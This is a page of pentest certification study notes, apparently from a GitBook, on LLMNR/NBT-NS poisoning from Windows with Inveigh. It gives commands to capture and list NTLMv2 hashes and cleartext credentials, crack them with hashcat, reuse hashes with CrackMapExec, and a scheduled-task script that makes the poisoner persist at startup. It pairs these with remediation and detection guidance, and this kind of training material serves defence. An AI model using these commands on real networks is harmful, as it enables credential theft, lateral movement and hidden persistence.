Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
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        • Medium Level
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          • Nineveh
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        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
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  • 📚Resources
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      • Default Passwords
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    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 1. Inveigh Overview:
  • 2. Using Inveigh (PowerShell):
  • 3. Using Inveigh (C# - InveighZero):
  • 4. Inveigh Console Commands:
  • 5. Remediation:
  • 6. Detection:
  • 7. Post-Capture Actions:
  • 8. Automation Example (Scheduled Task for Persistence):
  • 9. Real-World Workflow Example:
  • 10. Defensive Recommendation Summary:
  1. Road to certification
  2. CPTS
  3. Active Directory Enumeration & Attacks
  4. 2.Sniffing out a Foothold

4.LLMNR-NBT-NS Poisoning - from Windows

1. Inveigh Overview:

  • Purpose: A Windows-based tool for LLMNR/NBT-NS poisoning, similar to Responder.

  • Languages: Written in PowerShell and C#.

  • Protocols: Supports LLMNR, DNS, mDNS, NBNS, DHCPv6, ICMPv6, HTTP, HTTPS, SMB, LDAP, WebDAV, and Proxy Auth.

  • Availability: Found in the C:\Tools directory on the provided Windows attack host.

  • Versions:

    • PowerShell (original, no longer updated)

    • C# (InveighZero, maintained by the author)

2. Using Inveigh (PowerShell):

Importing the Module:

Import-Module .\Inveigh.ps1

Listing Parameters:

(Get-Command Invoke-Inveigh).Parameters

Running Inveigh:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
  • Enables NBNS spoofing, console output, and file output.

  • Displays enabled/disabled options, captured LLMNR and mDNS requests, SMB negotiation, and NTLM challenges.

  • Saves output to the C:\Tools directory.

Stopping Inveigh (PowerShell):

Stop-Inveigh

3. Using Inveigh (C# - InveighZero):

Execution:

.\Inveigh.exe

Output:

  • Displays enabled/disabled options.

  • Indicates successful and failed listeners.

  • Captures LLMNR requests.

Interactive Console:

  • Press ESC to enter the interactive console.

  • Use the HELP command for a list of available console commands.

Common Commands:

  • GET NTLMV2UNIQUE - Displays unique captured NTLMv2 hashes.

  • GET NTLMV2USERNAMES - Displays captured usernames.

4. Inveigh Console Commands:

  • GET CONSOLE

  • GET DHCPv6Leases

  • GET LOG

  • GET NTLMV1

  • GET NTLMV2

  • GET NTLMV1UNIQUE

  • GET NTLMV2UNIQUE

  • GET NTLMV1USERNAMES

  • GET NTLMV2USERNAMES

  • GET CLEARTEXT

  • GET CLEARTEXTUNIQUE

  • GET REPLYTODOMAINS

  • GET REPLYTOHOSTS

  • GET REPLYTOIPS

  • GET REPLYTOMACS

  • GET IGNOREDOMAINS

  • GET IGNOREHOSTS

  • GET IGNOREIPS

  • GET IGNOREMACS

  • SET CONSOLE

  • HISTORY

  • RESUME

  • STOP

5. Remediation:

Disable LLMNR:

  • Group Policy:

    • Computer Configuration -> Administrative Templates -> Network -> DNS Client -> "Turn OFF Multicast Name Resolution."

Disable NBT-NS:

  • Navigate to:

    • Network and Sharing Center -> Change adapter settings -> Adapter properties -> Internet Protocol Version 4 (TCP/IPv4) -> Advanced -> WINS -> Disable NetBIOS over TCP/IP.

PowerShell GPO Startup Script:

$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}
  • Deploy using Group Policy Management.

Other Mitigations:

  • Filtering network traffic.

  • Enabling SMB Signing.

  • Using network intrusion detection and prevention systems.

  • Implementing network segmentation.

6. Detection:

  • Honeypotting: Inject LLMNR/NBT-NS requests for non-existent hosts.

  • Traffic Monitoring: Monitor ports UDP 5355 and 137.

  • Event Log Monitoring: Focus on Event IDs 4697 and 7045.

  • Registry Monitoring:

    • HKLM\Software\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast (0 = disabled)

  • Sysmon: Monitor for suspicious process creations or network connections.

7. Post-Capture Actions:

Enumeration:

  • Use BloodHound for analyzing captured hashes.

Hash Cracking with Hashcat:

hashcat -m 5600 captured_hashes.txt rockyou.txt --force

Identify Hash Types:

hashid captured_hash.txt

Using CrackMapExec for Exploitation:

crackmapexec smb <target-ip> -u <username> -H <hash>

Password Spraying:

  • Employ password spraying techniques if hash cracking is unsuccessful.

8. Automation Example (Scheduled Task for Persistence):

$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File "C:\Tools\Inveigh.ps1"'
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "InveighPersistence" -Description "Auto-start Inveigh for LLMNR/NBT-NS Poisoning"

9. Real-World Workflow Example:

  1. Launch Inveigh to capture hashes.

  2. Use Hashcat to crack captured NTLMv2 hashes.

  3. Attempt lateral movement using cracked credentials with CrackMapExec.

  4. Continue enumeration or privilege escalation as needed.

10. Defensive Recommendation Summary:

  • Disable LLMNR and NBT-NS protocols.

  • Enforce SMB signing.

  • Monitor network traffic for suspicious poisoning attempts.

  • Implement strict network segmentation and authentication controls.

Previous3. LLMNR-NBT-NS Poisoning - from LinuxNext3.Sighting In, Hunting For A User

Last updated 12 days ago

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